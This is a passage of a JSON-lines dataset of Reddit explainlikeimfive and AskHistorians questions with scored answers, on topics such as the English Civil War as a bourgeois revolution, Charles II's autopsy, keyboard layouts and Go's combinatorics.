{"q_id": "2q4cdn", "title": "how do sexual harassment laws work in the porn industry?", "selftext": "I figure that it must be slightly more complicated in that industry, rather than the rest of the work force. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2q4cdn/elif_how_do_sexual_harassment_laws_work_in_the/", "answers": {"a_id": ["cn2qh99", "cn2vqii"], "score": [9, 2], "text": ["The pornstars make an agreement of what they are/aren't OK with before they perform the deed. ", "Pretty much the same way any professional who touches you would...professionally.\n\nDoctors don't just walk up to people and perform breast exams or check for hernias.  Tailors don't feel to crotches of random people checking of fix, and masseuses don't grab random people's asses.\n\nIf what you are doing is part of your job, then it isn't harassment.  Walking around naked and talking to a coworker about sex acts at certain times would be part of a porn star's job, but could be inappropriate at others.  And practically speaking, it might be harder to prove harassment, because being in a porn situation makes certain actions more plausible.\n\nAnd like I mentioned, that is no different from a lot of other jobs.  I currently work at a health care company, we sometimes talk about body parts in a way that would not be appropriate at a bank."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2erg88", "title": "- how do blind people know when they are done wiping?", "selftext": "After going number 2.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2erg88/eli5_how_do_blind_people_know_when_they_are_done/", "answers": {"a_id": ["ck286i9", "ck288mt", "ck2abhb", "ck2azhi", "ck2cqhn", "ck2iu69"], "score": [16, 25, 11, 7, 6, 8], "text": ["Jim Jefferies - How do blind people whip their as\u2026: _URL_0_", "I've read two AMA's on reddit that state blind people prefer to be able to shower after each number 2 to ensure they are clean.  Temporary cleaning is probably sufficient with tactile senses.", "I never check tp and I'm always clean. You know why? Bidet. ", "They fold it and if it sticks, its got sticky poo on it ", "I'm not blind and I don't look. I just wipe really good.\n\nWhat the fuck world.", "I used to work with a disabled population, which included people who were visually impaired who were learning life skills.\n\nThe answer is \"whatever way works for you.\"\n\nSome people carry wetnaps.\n\nSome people wipe until they feel clean, then wipe a little more for good measure.\n\nSome people go #2 where they know they can have a shower.\n\nI'm sure some people feel if they aren't sure, and then wash their hands very well.\n\nI've heard this question a lot, and it's not very \"interesting\" in the sense that there are several ways to skin that cat, most of which you can think of with five minutes of thought.  It's also one people are usually very highly motivated to learn, because it's unpleasant to have excrement on you in several ways.\n\nBy contrast, cooking can be a real pain in the butt to learn because it takes forever to learn, you have to essentially learn it again if you're in a new kitchen, and congrats, you've got food.  Food's everywhere."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://youtu.be/RHUl4DGwy-Q"], [], [], [], [], []]}
{"q_id": "748p9e", "title": "In the Communist Manifesto, Marx references two 'Bourgeois Revolutions': A French in the 18th Century and an English in the 17th. The former is pretty obvious, but the Civil War doesn't seem right for the latter... does it?", "selftext": "Generally, when talking about the big, liberal, bourgeois revolutions, people are talking about the string of conflicts between the American Revolution and the Revolutions of 1848 (like haiti, france, venezuela, greece etc). \n\nI've never heard anyone refer to the English Civil War as being ideologically or politically similar to the French revolution - yet Marx seems to imply that it was. Was this a common train of thought in English historiography at the time? Is it a common train of thought now? Was Marx just not a very good historian or did the ECW actually have elements of the liberal revolutions we generally think of having started with the American one? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/748p9e/in_the_communist_manifesto_marx_references_two/", "answers": {"a_id": ["dnwn4j2", "dnwoglo", "dnx3ntp", "dnxa3n2"], "score": [9, 7, 6, 3], "text": ["It is a reference to the Glorious Revolution not the English Civil War.  ", "It was long after Marx, but there was at one time a  debate over the role of the Gentry in the English Civil War, the Gentry being small holders and people who rented farms from the aristocracy. Suggested first by RH Tawney, roughly the theory was that, since so much land was being rented by earlier lease agreements that set rents for very long times, by early 17th c. the Gentry were gaining in wealth and the Aristocracy losing,  since they couldn't raise rents fast enough. The rising gentry wanted more power to go with their money, were prevented from getting it by the Aristocracy, strife and mayhem ensued. It was put forward by [Lawrence Stone](_URL_1_) and Stone was fiercely attacked by [HR Trevor-Roper](_URL_2_)  (...though, I suppose saying \"fiercely\" is redundant when talking about most things disputed by Trevor-Roper), who maintained that the gentry were actually losing, as they were not in the power center of the King's court. Anyway, it occupied some historians during the 19405's-50's,  made researchers start to try to work with big data sources like records of church tithes...I don't know much about the final verdict; [J.H. Hexter](_URL_0_) did a good article on how the statistics didn't seem to bear the weight of such huge claims,  and it seems to now be a dead issue.  But if it had been significant, it would have been possible to make the Gentry out to be a proto-bourgeois class.", "Marx's historical views were influenced by his political ones, and also the understanding of the society he lived in at that time. It would be foolish to take history from Marx at face value, as Marx himself was not really a historian and he was writing a political manifesto. \n\nI believe he and other Marxist and marxist historians are refering to the Civil War period  from 1640-1660 which is sometimes called the English Revolution or the Puritan Revolution.\n\n\nThe idea of Class Warfare in the Civil War has pretty much been entirely debunked. The War of the Three Kingdoms is now regarded; thanks to historians such as John Morrill, as not the first war of Revolution but the last European War of Religion. In the 1970's local history started gaining ground in academia and historians started to view the war from a different perspective, far less top down more bottom up. I.e, what collection of local issues can become national issues.\n\nThe problem was that within the Long Parliament in 1640/41 religious issues almost always took precedence and was often more radical than the contemporary constitutional reform. In petitions to the Long Parliament such as the Root and Branch the case was also the same, religious petitions garnered far more support from the population, and also far more \"air time\" in the Commons. Religious issues seemed far closer to peoples minds in the early days of the Civil War than any other factor, in fact in the Second period of the conflict they came back with a resurgence. There is simply not enough evidence to support the assertion that it as a Class War between the emerging bourgeoisie in the town vs the old gentry of the countryside. \n\n\nAny assertions of a Class War can also be far more easily explained through looking at religion, towns were cosmopolitan the proto-middle class had a strong showing from European Protestant exiles such as the Huguenots, or even just Protestant Europeans such as the Dutch. England was a melting pot of European Protestantism it had been a safe haven during events such as the French Wars of Religion or the Thirty Years War.\n\nThese forms of Protestantism were more Calvinist than the offical Church of England doctrine at that time (which was still sort of Calvinist). The official Church Doctrine was percieved as heading in a \"papist\" direction. Jean Chevalier a Royalist described the changes to the Church in Jersey (which had before the intervention of the English been in a largely Huguenot-Calvinist vein) as \"papistical innovations from the days of ignorance.\" That gives a little bit of an idea for the regard the direction of the State Church hadbeen taken in under Charles I (and Archbishop William Laud). Under Laud altars, fonts, ect. made a return to the church. There was an emphasis on ritual, decoration ect. \"the beauty of holiness\" All things that a Calvinist would detest, and see as a corruption of the faith, and at this time messing with the church was messing with people's life after death. Charles also wanted to create a more united church which meant new prayer books, the new book was particularly detested in Scotland leading to the Bishops Wars, where the conflict all kicked off if you will. \n\nEven if we say it was a war between the countryside and the town that is overly simplistic, we have more records from towns which can skew our writing. Contemporary Royalst writers tell us there were simply more \"Puritans\"(a little bit of a misnomer in this case) which is how they lost (Clarendon's history), this gives impression that the direction which the church had been taken in could find few supporters even amongst the countyfolk. Yes Protestantism within towns could also be more radical, but this does not mean that Protestantism in smaller towns, villages ect. was universally in support of whatever the Monarch wanted to do. A lot of people in the countryside actively avoided taking sides in the war at all and conformed to whichever side was in charge at any given time. (I think this was an idea in John Morrills *Revolt in the Provinces*, but I have seen it repeated in a few places now). \n\nThe countryside vs town = old vs new arguemnt also makes no sense as to sustain itself the Royalist cause had to hold towns, which they did. With Charles' ultimate rejection of Laud (too little too late for many) the Royalists did secure a lot of towns, and held them for many years. If it had been the case of  town vs country the Royalist cause could not have sustained itself for so long. With Laud out the way you might say the Established Church was regaining a lot of its old lost ground.\n\nTLDR when it comes to the War of the Three Kingdoms in England and Scotland (Bishops Wars), the route cause of the conflict was between two different strains of Protestantism, the result was Monarch on one side, and Parliament on the other. This change in thought is fairly recent, and comes after a lot of research on class war aspects in previous decades, which failed to really answer some big questions.\n\nWhn you start introducing the other Kingdoms it gets a bit complicated, for example the War of the Three Kingdoms sort of started in Scotland, and Parliament largely supported the Scots. However as the Parliamentary faction  grew more radical during the war as moderates were thrown out, the Scots and the moderates ended up siding with the Royalists. Its a similar situation in Ireland where the Confederates wanted Catholics to be free to worship, however the Royalists and Catholics ended up on the same side in the end and both were defeated by Cromwell. Most Civil Wars are messy and the War of the Three Kingdoms is probably one of the messiest of them all so I won't go into great detail!\n\n\n\nI seem to have gone a bit overboard here, and its a bit muddled. But I hope this answers your question.\n\nbut it you want to learn more see if you can grab a copy of Ian Gentles book\n\nor J. Morrill *The Nature of the English Revolution* (as you can guess from the title he discusses in great depth the reasons behind the Civil War)\n\n", "The historian Christopher Hill argued that \"the English revolution\" marked a historic break where power shifted from an effectively absolutist Monarchy to a Parliament dominated by the bourgeoisie.\n\nI don't think anyone tries to argue there are hard or exact parallels between the two events though. I've not got my books with me so I went and dug up an online interview with Hill where he says \"One of the things that should be made more of is that no one in England in the 1640s knew they were taking part in a revolution. American and French revolutionaries could look back to England, the Russian revolutionaries had an ideology of revolution based on English and French experience, but no one in England could draw on such experiences. The very word revolution emerges in its modern sense in the 1640s. So that the English revolutionaries are fumbling all the time, they haven\u2019t got a Rousseau or a Marx to guide them. The examples of the Netherlands and the French Huguenots were discussed in the 17th century as religious or nationalist revolts. The only text they could look to was the Bible, but of course the bible says such different things that you can get any theory out of it so that it proved totally unsatisfactory. One of my arguments in my new book is that it was the experience of its uselessness as an agreed guide to action in the 1640s and 1650s that led to its dethroning from its position of absolute authority. That was a major problem for the English revolutionaries, they had no theory to start from.\" [1]\n\nSo it's a revolution because it creates a fundamental rift with the past and it's bourgeois in the sense that it signals the beginning of the end of the power of the aristocracy and the breaking through of the power of bourgeois - what it is not, is the *same* as the French revolution.\n\nWhile things have moved on from Hill, I think, the fundamental fact of that power shift is pretty undeniable I think even though there is a whole load more going on than simply a struggle between Parliament and the King.\n\nI think, as someone else mentioned, in the Communist Manifesto the analogy is not intended to be some sort of hard theoretical statement informing all our historical understanding - it's a flourish in a manifesto. \n\n[1] _URL_0_ - there are probably better quotes but it was the first thing I found that would do."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.unz.org/Pub/Encounter-1958may-00022", "http://www.jstor.org/stable/2590261?seq=1#page_scan_tab_contents", "http://www.jstor.org/stable/2599988?seq=1#page_scan_tab_contents"], [], ["https://www.marxists.org/history/etol/newspape/isj2/1992/isj2-056/hill.html"]]}
{"q_id": "55nzcp", "title": "Stalin, Trotsky, Freud, and Hitler all lived in Vienna in 1913. Did any of them meet each other?", "selftext": "I've read a handful of Stalin biographies, but none mention meeting Trotsky in this period. While Trotsky was interested in psychoanalysis, I've never heard of him meeting Freud directly.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/55nzcp/stalin_trotsky_freud_and_hitler_all_lived_in/", "answers": {"a_id": ["d8c7urp", "d8cl4hi"], "score": [115, 35], "text": ["/u/commiespaceinvader answered a very similar question [here](_URL_0_) only a few weeks ago actually. In line with what /u/21stCenturyMachiavel has said in this thread, /u/commiespaceinvader says that Trotsky and Stalin did meet. According to /u/commiespaceinvader it is within the realm of possibility that Trotsky and Stalin were at the same place at the same time as Hitler at a cafe they all frequented, though they never met. Tito, Freud and the Archduke Franz Ferdinand were in other parts of the city and almost certainly had no interaction with any of the others.", "Slightly unrelated, but *why* did Vienna seem to host so many people who'd go on to become 'extremist' political leaders (those above, plus Tito iirc). Is there any reason for them all to want to live there, or is it simply coincidence?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/512kke/is_it_true_that_hitler_stalin_trotsky_tito_freud/"], []]}
{"q_id": "44cwft", "title": "I read once that several villages in Europe whose population had been wiped out by the Black Death were rediscovered in WWII due to air recon photos. Were these villages ever excavated or examined?", "selftext": "And what was learned from them?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/44cwft/i_read_once_that_several_villages_in_europe_whose/", "answers": {"a_id": ["czpktdv", "czpmfth"], "score": [114, 46], "text": ["I can't speak for the whole of Europe but can offer a British (or perhaps only English) perspective. Indeed many villages were hit hard by the Plague over time, some even disappeared completely. Nowadays these are known as Deserted Medieval Villages or Shrunken Medieval Villages. Excavations etc have been limited, mostly due to the fact that there is comparatively little to learn from them for a few reasons. 1) they are basically the same as modern villages, their size and layout have changed very little. In most cases the important buildings have survived in one way or another, be they the parish church or the manor.  The archaeological evidence buried in DMVs is the same, more or less, as found in current surviving villages. For every DMV there are (I would estimate) 50 surviving villages. 2) two DMVs next to each other will be almost identical archaeologically speaking. Relatively little can be gained by excavating both compared to just one. 3) a lot of villages which are now a lot smaller than they once we're are so because of more recent trends. C20 population shifts due to agricultural mechanisation and industrialisation have seen village populations fall by a lot. It's only in the art few decades have they recovered their population. \n\nWith regards the air surveys, it is true that a lot has been seen through aerial observation. However it is perhaps misleading to say that they have been rediscovered. Most places, even when they lost almost all their population were still known about, and indeed they retained their name and location in the local and official record. So whilst it has been extremely valuable to see crop marks etc showing their former extent, to say they have been lost and rediscovered is not really true. ", "Follow-up question: Were there \"wiped-out\" villages that had 100% fatalities? I would expect that if the village had only a few survivors, (by which I mean two to five) they'd move into a village that still had people, and I would expect there were always a FEW survivors, but I've been wrong before, often and in public."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "107nfl", "title": "antidisestablishmentarianism", "selftext": "Can somebody please explain it to me? I can't seem to get it. I'm 5.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/107nfl/eli5_antidisestablishmentarianism/", "answers": {"a_id": ["c6b2szp", "c6b65zd"], "score": [21, 3], "text": ["The word is made up of a lot of different pieces. Taking it apart: *anti-* (against) + *dis-* (removing, or separating) + *establishment* (like a government, or business) + *-arian* (one who believes in) + *-ism* (a philosophy, or religion).\n\nSo, all together, the whole word means, \"a political philosophy opposed to the separation of a religious group ('church') and a government ('state')\" ([definition taken from here](_URL_0_)).", "Used in a British context it's someone who's against removing the Monarch as head of the Church of England. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wiktionary.org/wiki/antidisestablishmentarianism#Noun"], []]}
{"q_id": "3e2p28", "title": "why are people saying the uk is slipping into becoming an authoritarian police state?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3e2p28/eli5_why_are_people_saying_the_uk_is_slipping/", "answers": {"a_id": ["ctawag1", "ctawbe7"], "score": [2, 3], "text": ["They are likely talking about [the new counter-terrorism and security act](_URL_0_) which (to the best of my knowledge) expands powers overall over the 2001 law which it largely replaces.", "I live in Britain, I can say that no, we are not a police state. I can see why people think so however, the huge amount of cameras, spying and the police wearing portable cameras all seems like a police state, but to be honest it really isn't heading that way. Most people in Britain are opposed to new cameras, in fact spending on CCTV has been decreasing and to be honest I would rather have a camera watching in case I got robbed etc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.legislation.gov.uk/ukpga/2015/6/contents/enacted"], []]}
{"q_id": "1a46ss", "title": "how does beano work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1a46ss/how_does_beano_work/", "answers": {"a_id": ["c8txl7g"], "score": [8], "text": ["Beans contain some large sugars and starches that your body can't efficiently break down (and when they try it creates gas). Beano contains enzymes they help your body break down the food.  This is similar to how pills for lactose intolerance work (they contain an enzyme called lactase that breaks down the sugar lactose for you.) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "357b2c", "title": "why do we act dumb around a crush?(unable to talk, mess up easy tasks, ect.)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/357b2c/eli5_why_do_we_act_dumb_around_a_crushunable_to/", "answers": {"a_id": ["cr1t35y", "cr1vkfr", "cr1vyg3", "cr1vyxt", "cr1xvo5", "cr20af0", "cr25iuy", "cr26fv3", "cr2dick"], "score": [58, 22, 11, 12, 6, 2, 3, 2, 5], "text": ["Because we are focused on our crush and the way they are perceiving us, we are less focused on the task at hand.  If you are less focused, you are more likely to make mistakes. ", "You are overthinking otherwise subconscious tasks.\n\nLike: \"Where are my hands supposed to be?\" \"How do I build a sentence that doesn't make me sound stupid?\"", "Because we as a species used charisma as our dump stat.  Unless you're well rehearsed in something, you're likely to mess it up under pressure.  And because you don't get a do-over when talking, you want nothing more than to do it right the first time.  And then you start second guessing yourself mid conversation and forget where you were going.\n\nBasically, stress decreases performance.", "When somebody values a person as highly as a crush, they become aware of themselves to a greater extent.\n\nThis self-awareness eats away at the persons self-confidence by making them second guess everything they do, until they don't know what to do and end up suffering from a paralysis of choice.\n\nThey know what they want to say, but have examined the ways of saying it to such an extent that they are unable to choose what to say or even how to say it.\n\nThis leads to an anxiety which doesn't just affect speech but most social functions.", "It works exactly the same as a professional athlete/sportsperson.  The whole science of choking under pressure basically says that when you actually stop to think about doing something you know and can do inside out then you can't do it.  You become so aware of every minute movement that you can't do it anymore.\n\nSuddenly the tennis player can't serve correctly, the footballer (ok soccer player) can't kick the ball anywhere near the goal during a penalty, the pool player misses a clear shot into a pocket.\n\nFuck I can't even walk properly when I start thinking about how long strides are, whether I'm bending one knee more than the other, how my posture is and WHAT THE HELL DO I DO WITH MY HANDS?", "nerves\n\nthe same reason speeches are so hard to give sometimes\n\nYou know how to talk- you do it every day. yet all of a suddenly you have to speak in front of a class or group and you start stuttering like an idiot and your voice wants to crack", "Yeah I noticed I did all this today when speaking to a girl. I look at their apperance too much which is bad and distracts me from what I'm trying to say and then I stutter", "You're simply non-verbally and probably unintentionally communicating your perceived difference in SMV. ", "Maybe you i do... uh you I... \n\nUh hmm... what's the deal with the meather... Ugh! Meather! ... weather (walks away)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "a2dkmw", "title": "The physician in the autopsy of Charles II gave some very... colorful (if not medically impossible) descriptions like \"heart the size of a peppercorn\" and \"did not contain a single drop of blood.\" What was going on in these autopsies?", "selftext": "I was reading Wikipedia's entry on the death of Charles II, and the autopsy report states that \"did not contain a single drop of blood; his heart was the size of a peppercorn; his lungs corroded; his intestines rotten and gangrenous; he had a single testicle, black as coal, and his head was full of water.\"\n\nSome of these are believable (the single black testicle), some I suppose were slightly colorful descriptions (the rotten innards) and some are, as far as I know, anatomically impossible (the heart). So what was going on in Baroque-era autopsies? Were they doubted by other physicians with greater anatomical knowledge?\n\nAs a related question, who would do these autopsies, to whom would they be reported, and for what reason were they made?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a2dkmw/the_physician_in_the_autopsy_of_charles_ii_gave/", "answers": {"a_id": ["eaxhk7k", "eaxws3p"], "score": [420, 2615], "text": ["Piggybacking off this a bit, how long after his death was the autopsy performed? As that may well affect the coroner's observations. Imagine, for instance, if Charles II laid in state for a period of time after his death without any embalming (I don't know what the Spanish monarchy's customs were in this respect), that would give a decent amount of time for all those lovely bacteria inside of us to start going to town on his innards. \n\nI think I remember, for instance, that (yes, this was a few centuries prior) William the Conqueror wasn't embalmed before his funeral procession and got tremendously bloated as a result, so I'm curious if that might be what happened to Charles II.", "EDIT: Okay -- the FOUR part answer is all done. I might have done a little bit crazy. A couple people messaged me about Foucault -- I wrote a response in Part 4 below  (and about how, despite finding him influential, I largely agree with the mods policy on him).\n\n & #x200B;\n\nWhat a wonderful question! I'm going to answer this in three parts -- the first talking about autopsies and medical perception, the second about Charles II, and the third to generally talk about my approach to paleopathology and medical history.\n\n & #x200B;\n\nSo here is my \"mod alert\" -- I am going to talk about the ever-controversial Michel Foucault (though very early Foucault). Foucault, of course, is always a controversial reference on r/AskHistorians (and in history in general). If you want to rustle some jimmies, try citing \"Discipline and Punish\" in this forum. That being said, it's more or less impossible to talk about pathological anatomy and the Paris Clinical School before referencing a very early Foucault book \"The Birth of the Clinic: An Archaeology of Medical Perception\". As far as I'm aware, this is the first serious study of medical perception and the postmodern concept of \"the gaze\" (Foucault used the French phase \"le regard\", which is usually translated as \"clinical gaze,\" but the term \"medical perception\" used most commonly in his title I think fits bette). Foucault is interested in the dawning of the Paris Clinical School, starting in the waning days of the Ancien Regime and lasting through the Revolution and the next several decades. I'll actually defend Foucault's historiography in this case (of course, the man himself would hate that I used the word history of describe anything he did) -- the work is very well referenced, and mostly concerned with the discourse of physicians themselves. That being said, while he's been very influential, his historiography is overly reliant on these physicians' own interpretations, and modern historiography (Erwin Ackerknecht, and more recently La Berge and Hannaway) has unsurprisingly revealed a far subtler picture. For example, where Foucault sees a sharp break between the classical and hypothetical curriculum of the Ancien Regime faculty and new hands-on \"hospital medicine,\" scholars have actually looked at notes from students studying in both these regimes, and notes a more gradual shift.\n\n & #x200B;\n\nThat was quite a caveat -- but I actually take Foucault's philosophy of science quite seriously. So one of Foucault's central theses in Birth of the Clinic (expounded more in The Order of Things) is that medical perception is largely driven by unconscious assumptions about what constitutes disease and man's relationship to it. This is in contrast to the traditional scientific narrative that medical understanding happens gradually as more knowledge is slowly added. He would argue that these collections of unconscious assumptions (he would later label this an \"episteme\") in fact are not additive but replace one another.\n\n & #x200B;\n\nSo I want to talk about three different epistemes before I get to Charles II. The first is what I would call traditional Western medicine, dating back to the ancients. Simplifying quite a bit, this is the idea that human health and disease is caused by balances and imbalances in the four constituent body fluids -- blood, black bile, yellow bile, and phlegm. These body fluids are directly affected by the natural environment. Food, weather, altitude, close contacts, the alignment of the stars and planets -- all could cause changes in humors, and therefore cause disease. These has some important underlying assumptions. For example, a human organism cannot be separated from its environment. Diseases are not unique entities, but have similar causes. Treatments need to be focused on \"rebalance\". The psychological and the physical are fundamentally interlinked. This is the context in which the tradition of anatomy emerged -- spreading from Vesalius to become an important part of both medical education and Western art. However, there's no sense that DISEASE can be determined from autopsy (or even variants within humans, which is very common).  Disease, after all, lies in the four humors, and the life-bringing pneuma, both of which are obscured by death.\n\n & #x200B;\n\nStarting in roughly the late 17th century, and dominating the 18th, you have the episteme of nosology. Think Sydenham, Cullen, Pinel. They rejected humoral explanations, which didn't line up with the observations they were making. Instead they reclassified human disease based on symptomology and similarity to one another. The big comparison is botany -- just like Linnaeus attempted to classify all life within a hierarchy, doctors did the same, carving out orders, classes, genus, and species (and they carved out a LOT of them). Anatomy by this time was widespread, both in medical education, and after death. The biggest example would be Morgagni, who started to notice that there were different changes after death in oragans associated with different disease states (Auenbrugger is in this tradition too, though he's most often associated with the next episteme).\n\n & #x200B;\n\nWhich takes us to the third episteme -- that of pathological anatomy. I could go on forever about this, but essentially doctors started to realize that certain diseases had specific changes associated with tissue types -- and that what had been thought to be multiple diseases, might be just a single disease with multi-system effects. Think Bayle, Laennec (and Auenbrugger, even though he's writing in the 1760s -- an example of how this is more of a framework rather than a hard and fast rule). This episteme has largely survived to the present day, though with considerable modification -- Virchow readjusted to show that the CELL, rather than tissues, was the fundamental unit of disease, and germ theory gave an incredibly important etiologic factor, and the 20th and 21st century has revealed even smaller units, such as CML, caused by the BCR-ABL translocation.\n\n & #x200B;\n\nHowever, for the most part, our modern noslogy outside of psychiatry (these days the ICD-10) largely operates on these assumptions. And there are important assumptions. For example, close examination of the patient, in ways they cannot access, are now of extreme importance (back then this meant percussion and a stethoscope; now it means MRIs, PET scans, biopsies,  & c). These has had important implications in removing patients from their own state of health. Disease is also now freed from the metaphysical (France no longer employs astrologers and meteorologists to track outbreaks, like in the Ancien Regime). It turns out that it's also a fairly effective way to target treatments, hence its dominance."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2s1zap", "title": "american and english keyboards have @ and \" swapped, why is this?", "selftext": "Yes, I have tried but I can't find an answer. Only why some currencies appear on the keyboards.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2s1zap/eli5_american_and_english_keyboards_have_and/", "answers": {"a_id": ["cnlf0d5", "cnlff7i"], "score": [5, 29], "text": ["You will also find that UK keyboards have their currency symbol over the 4, the ~ next to the backspace, etc..If memory serves, Germany keyboards have vowels with Umlauts on em, and that SZ-sign. French keyboards start with AZERTY.\n\nMany countries have their own keyboard layouts. And yes, if you're used to one, using a keyboard from another country is a pain. The reason is each country started way back when with typewriters that were designed to be most ergonomic for that countries usage.\n\n", "There are two main mechanical keyboard layouts used in the western world.  The US layout (based on 104 keys) and the UK or International layout (based on 105 keys).  NB The symbols on the keys themselves vary depending on the language (English keyboards have different symbols to Swedish keyboards) but the physical layout of the keys remains the same.\n\nThe main differences between the two layouts derive from the shape and size of the Enter or Return key and the additional key in the UK layout.\n\nThe original 1981 version of the IBM PC shipped with an 83-key keyboard that looked like [this](_URL_0_).  As you can see, it has an Enter key that spans two rows, the \\ key is in the bottom left of the keyboard and function keys are in two columns at the left of the keyboard.  At this point there was no 'standard' keyboard layout.  Computer manufacturers decided themselves how to layout the keys.\n\nBy 1984, the International Standards Organization was working on creating a standard mechanical keyboard layout that would mean all computer keyboards worldwide would have a similar physical layout.  However, before ISO could publish their standard, the American National Standards Institute published a standard for use by American companies.  The US decided to go it alone whilst the rest of the world adopted the international standard.  This is the main reason there are two differing mechanical keyboard layouts today (there is also a third used in Japan but for practical reasons).  \n\nWhen IBM released the Model-M keyboard in 1986, they produced two versions.  The [101-key US version](_URL_2_), that complied with the US standard, and the [102-key International version](_URL_1_) that complied with the ISO standard.  \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/IBM_PC_keyboard#mediaviewer/File:IBM_Model_F_XT.png", "http://en.wikipedia.org/wiki/IBM_PC_keyboard#mediaviewer/File:102-key_Model_M.jpg", "http://en.wikipedia.org/wiki/IBM_PC_keyboard#mediaviewer/File:IBM_Model_M.png"]]}
{"q_id": "q956l", "title": "the schulze method of preferential voting.", "selftext": "I understand IRV just fine. What I don't get about Schulze is why a \"pairs comparison\" is better than dropping the least preferred candidate like in IRV. I also don't quite get who wins the pair comparison. Is it the person who wins the most pairs after one \"round\" or does it keep going?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/q956l/eli5_the_schulze_method_of_preferential_voting/", "answers": {"a_id": ["c3vpwtf"], "score": [3], "text": ["* IRV has to be calculated in one big heap. You can't really distribute the calculations (like, say, among 50 states, or districts within a State) and then combine the results, so large elections become much more difficult, because you need to somehow transfer the information behind every single ballot to a central calculating location, and god-forbid you have to do a manual recount...\n* IRV gets a little weird and chaotic when it comes to close races and the exact order in which people are eliminated and their votes moved. It can actually cause some centrist candidates to bizarrely lose to fringe candidates in some cases. (Visualizations available [here](_URL_2_).)\n\n\n >  I also don't quite get who wins the pair comparison. \n\nThere's a nice little video [here](_URL_0_) that discusses the \"easy cases\" where there's a clear winner, and [another](_URL_1_) for the closely-related pairwise voting that can be used if a clear condorcet winner doesn't exist."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=5RtOCvFqIKk", "http://www.youtube.com/watch?v=V1aetGzPIgg", "http://bolson.org/voting/sim_one_seat/"]]}
{"q_id": "3mcez9", "title": "how is hollywood allowed to make a movie about a person and their life without the permission of that person such as whitey bulger in the movie black mass?", "selftext": "I recently read that Johnny Depp tried to meet the real White Bulger multiple times and he refused.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3mcez9/eli5_how_is_hollywood_allowed_to_make_a_movie/", "answers": {"a_id": ["cvdtbai", "cvdtmwa", "cvdwdam"], "score": [13, 7, 7], "text": ["There's no such thing as a \"right to not have people talk about you.\" \n\nAs long as the producers didn't use anything that could be considered legally private information (like Bulger's health records) and as long as they didn't do anything that could be considered libel, then there's no reason they would have to get Bulger's permission first. ", "[Personality rights](_URL_0_), the right to profit from your name and likeness, do not extend to cover all the facts of your life.  \n", "Part of Whitey's sentence barred him from ever collecting royalties for movie or book deals about his life."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Personality_rights"], []]}
{"q_id": "5ijh3q", "title": "how can the chinese board game go have more possible moves than atoms in the universe?", "selftext": " remember reading this somewhere, is it true?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5ijh3q/eli5how_can_the_chinese_board_game_go_have_more/", "answers": {"a_id": ["db8m3zr", "db8m6eh", "db8ni7c", "db8q0rs", "db8t302", "db8uezc"], "score": [2, 2, 4, 2, 19, 6], "text": ["Because there are so many options. To help understand, think of a 6 sided die, you roll it 10 times, how many combinations do you think there are? The answer is 60,466,176. [Maybe Tic-Tac-Toe would be a better example](_URL_0_). In Go, there are just so many different combinations. ", "It's because they are talking about *combinations* of moves. Of course the possible number of *individual* moves is fairly limited, but the board involves many possible first moves, times many possible second moves, and so on.", "It's true. Maybe it sounds weird because a game of Go obviously only needs a tiny fraction of the observable universe. What gives; how can it be more than that? It's like how you only need 8 digits (comparable to number of atoms) to store 100\u2009000\u2009000 possible numbers (comparable to number of games). You can't compare those numbers directly, but it can nevertheless make for interesting factoids.", "If you started shuffling a deck of cards from the dawn of time, you still wouldn't be anywhere close to he possible combinations of cards. It's just something that is a bit hard to accept but it's true.", "A full size Go board has 19 x 19 = 361 points where a stone can be placed. A point can either be empty, contain a black stone, or contain a white stone. Thus, in a single game position there are 3 options for the first point, 3 for the second, 3 for the third, and so on. This results in 3^361 possible combinations, or approximately 1.74 x 10^172, which is a number 173 digits long. There are around 10^80 atoms in the observable universe.", "It is true, and lots of people here are mentioning other things that have lots of combinations, but not really explaining why.\n\nThe real answer is that unary numbers are really inefficient at representing things, while any other number system (I.e. base 10) is great.\n\nFor example:\n\n. vs 1\n\n.......... vs 10\n\n.................................................................................................... vs 100\n\n........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................ vs 1000\n\nNotice what is happening here. The unary representation has to grow exponentially larger and larger to compensate for the efficient representation of a base 10 number.\n\nThat 